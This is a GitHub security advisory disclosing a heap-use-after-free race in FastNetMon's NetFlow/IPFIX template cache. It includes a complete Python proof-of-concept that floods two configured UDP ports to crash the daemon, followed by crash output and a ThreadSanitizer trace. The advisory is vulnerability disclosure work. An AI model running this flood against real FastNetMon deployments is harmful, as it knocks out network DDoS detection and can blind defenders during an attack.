Skip to content

NetFlow/IPFIX template cache returns unlocked pointers, causing heap-use-after-free on multi-port deployments

High
pavel-odintsov published GHSA-ph88-95vc-x6gv Jul 20, 2026

Package

fastnetmon (Package)

Affected versions

<= 1.2.9

Patched versions

None

Description

Summary

FastNetMon's NetFlow v9/IPFIX template cache hands out a raw pointer to a cached template while holding its mutex only for the lookup itself; every caller then reads through that pointer including a std::vector member with no lock held. On any deployment with more than one configured NetFlow/IPFIX listener port (a normal, documented multi-vendor setup), this is a confirmed, reliably-reproducible heap-use-after-free: an unauthenticated remote attacker who can send UDP flow data to two configured ports crashes the FastNetMon process within seconds.

Details

peer_find_template() (src/netflow_plugin/netflow_collector.cpp:209-238) locks, looks up, unlocks, and returns a pointer into the map's storage:

const template_t* peer_find_template(...) {
    std::lock_guard<std::mutex> lock(table_for_lookup_mutex);   // lock ends when this function returns
    auto itr = table_for_lookup.find(key);
    ...
    return &itr_template_id->second;                            // pointer escapes the lock
}

Callers (netflow9_flowset_to_store, ipfix_data_set_to_store, etc.) then read field_template->records with no lock held. Concurrently, add_update_peer_template() (netflow_collector.cpp:271-408) reassigns that same map entry when a router redefines a template correctly under its own lock_guard:

std::lock_guard<std::mutex> lock(table_for_add_mutex);
...
itr->second[template_id] = field_template;   // netflow_collector.cpp:397 -- reassigns template_t, incl. its records vector

The write is locked; the read that consumes the pointer handed out earlier is not. add_update_peer_template()'s operator= can reallocate the records vector's heap buffer. If a reader thread is still touching records at that moment, it dereferences freed memory.

Because start_netflow_collection() spawns one thread per entry in netflow_ports and all threads share the same global global_netflow9_templates map/mutex, two threads processing traffic that resolves to the same cache key (client_IP + source_id, both fully attacker-controlled) race directly against each other.

PoC

Precondition: target configured with ≥2 NetFlow v9 ports, e.g. netflow_port = 2055,2056.

Attack: flood port 2055 with Template-redefinition packets for a chosen template_id, alternating field counts (forces records reallocation on every update), while flooding port 2056 with Data-flowset packets referencing that same template_id both using the same source_id. No spoofing, no precise timing, no privileges required.

#!/usr/bin/env python3
"""Isolated stress test for GHSA-07: floods two configured NetFlow v9 ports concurrently --
one continuously redefining a template, one continuously sending Data flowsets referencing
that same template ID -- to race add_update_peer_template() against netflow9_flowset_to_store()'s
use of the cached template's `records` vector."""
import socket
import struct
import sys
import threading
import time

DEST_IP = "127.0.0.1"
PORT_A = 2055  # template-redefinition flood
PORT_B = 2056  # data-flowset flood, references the same template
SOURCE_ID = 999
TEMPLATE_ID = 500

stop_flag = threading.Event()
stats = {"template_pkts": 0, "data_pkts": 0}


def netflow_header(flowset_count, seq):
    return struct.pack(">HHIIII", 9, flowset_count, 0, 0, seq, SOURCE_ID)


def template_flowset(template_id, variant):
    if variant == "A":
        fields = [(1, 4)]
    else:
        fields = [(1, 4), (2, 4), (4, 1), (7, 2), (12, 4)]
    body = struct.pack(">HH", template_id, len(fields))
    for ftype, flen in fields:
        body += struct.pack(">HH", ftype, flen)
    return struct.pack(">HH", 0, 4 + len(body)) + body


def data_flowset(template_id, total_length, n_records=8):
    body = bytes((i % 256) for i in range(total_length * n_records))
    return struct.pack(">HH", template_id, 4 + len(body)) + body


def flood_template_redefine(sock, duration):
    variant = "A"
    seq = 0
    end = time.time() + duration
    while time.time() < end and not stop_flag.is_set():
        seq += 1
        variant = "B" if variant == "A" else "A"
        pkt = netflow_header(1, seq) + template_flowset(TEMPLATE_ID, variant)
        try:
            sock.sendto(pkt, (DEST_IP, PORT_A))
        except OSError:
            pass
        stats["template_pkts"] += 1


def flood_data_referencing_template(sock, duration):
    seq = 0
    end = time.time() + duration
    while time.time() < end and not stop_flag.is_set():
        seq += 1
        total_length = 4 if seq % 2 == 0 else 21
        pkt = netflow_header(1, seq) + data_flowset(TEMPLATE_ID, total_length)
        try:
            sock.sendto(pkt, (DEST_IP, PORT_B))
        except OSError:
            pass
        stats["data_pkts"] += 1


def main():
    duration = float(sys.argv[1]) if len(sys.argv) > 1 else 60
    n_pairs = 3  # multiple thread PAIRS to increase concurrency pressure

    sockets_a = [socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(n_pairs)]
    sockets_b = [socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(n_pairs)]

    threads = []
    for i in range(n_pairs):
        threads.append(threading.Thread(target=flood_template_redefine, args=(sockets_a[i], duration)))
        threads.append(threading.Thread(target=flood_data_referencing_template, args=(sockets_b[i], duration)))

    print(f"Starting {len(threads)} threads ({n_pairs} template-redefine + {n_pairs} data-flood pairs) "
          f"for {duration}s targeting {DEST_IP}:{PORT_A}(template)/{PORT_B}(data)...")
    start = time.time()
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    print(f"Done in {time.time() - start:.1f}s -- sent {stats['template_pkts']} template pkts, "
          f"{stats['data_pkts']} data pkts")


if __name__ == "__main__":
    main()

Run: python3 race_stress_ghsa07_isolated.py 60 against a FastNetMon instance built with -fsanitize=thread (used here purely to observe the race deterministically; the underlying crash is real regardless of sanitizers see Impact).

Client-side result:

Starting 6 threads (3 template-redefine + 3 data-flood pairs) for 60.0s targeting 127.0.0.1:2055(template)/2056(data)...
Done in 60.0s -- sent 912988 template pkts, 1561263 data pkts

Server-side result the daemon itself, mid-attack, on the machine being "protected":

$ ps aux | grep fastnetmon        # BEFORE the flood
root  139  76.7  1.1  ...  R   04:21   /src/build_tsan/fastnetmon --configuration_file=/etc/fastnetmon.conf

$ ps aux | grep fastnetmon        # AFTER ~60s of the flood above
root  139  76.7  0.0      0      0  ?   Z   04:21   [fastnetmon] <defunct>

The process transitions from R (running) to Z <defunct> (crashed, zombie) FastNetMon is dead. Its own instrumentation caught the exact moment of corruption:

WARNING: ThreadSanitizer: heap-use-after-free (pid=27)
  Read of size 4 at 0x7b100000a140 by thread T11:
    #0 netflow9_flowset_to_store(...) netflow_v9_collector.cpp:1613
    #1 process_netflow_v9_data(...) netflow_v9_collector.cpp:1860
    #2 process_netflow_packet_v9(...) netflow_v9_collector.cpp:1975
    #3 process_netflow_packet(...) netflow_collector.cpp:479
    #4 start_netflow_collector(...) netflow_collector.cpp:644

  Previous write of size 8 at 0x7b100000a140 by thread T10 (mutexes: write M3293):
    #0 operator delete(void*, unsigned long)
    #1 log4cpp::Category::_logUnconditionally2(...)
    #2 process_netflow_v9_template(...) netflow_v9_collector.cpp:456
    #3 process_netflow_packet_v9(...) netflow_v9_collector.cpp:1954

  Mutex M3293 created at:
    #3 add_update_peer_template(...) netflow_collector.cpp:291   <- the LOCKED write path
  (the read above never acquires M3293 -- the UNLOCKED read path)

  Thread T11 'netflow_2056' ... Thread T10 'netflow_2055' ...
SUMMARY: ThreadSanitizer: heap-use-after-free netflow_v9_collector.cpp:1613 in netflow9_flowset_to_store(...)

64 instances of this exact report occurred in one 90-second run. A follow-up isolated run (this PoC alone, no other traffic) reproduced it again cleanly. A negative control identical traffic volume against a single-port config (netflow_port = 2055 only, one thread, no possible interleaving) produced zero warnings and a daemon that stayed healthy for the full run, confirming the multi-port precondition is both necessary and sufficient.

Impact

Unauthenticated remote denial of service: any host that can reach two configured NetFlow/IPFIX ports crashes the detection/mitigation daemon in seconds, using nothing but ordinary Python sockets. Impact is amplified by what the daemon does while it's down (or crash-looping under a process supervisor), the network it monitors has no DDoS detection or mitigation active, so this can be used to blind a defender immediately before or during a real attack. The use-after-free is on std::vector<template_record_t> heap storage; further escalation toward memory corruption beyond a clean crash (via heap grooming to control what's read from the freed slot) is plausible but was not attempted or proven here.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Use After Free

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory belongs to the code that operates on the new pointer. Learn more on MITRE.

Credits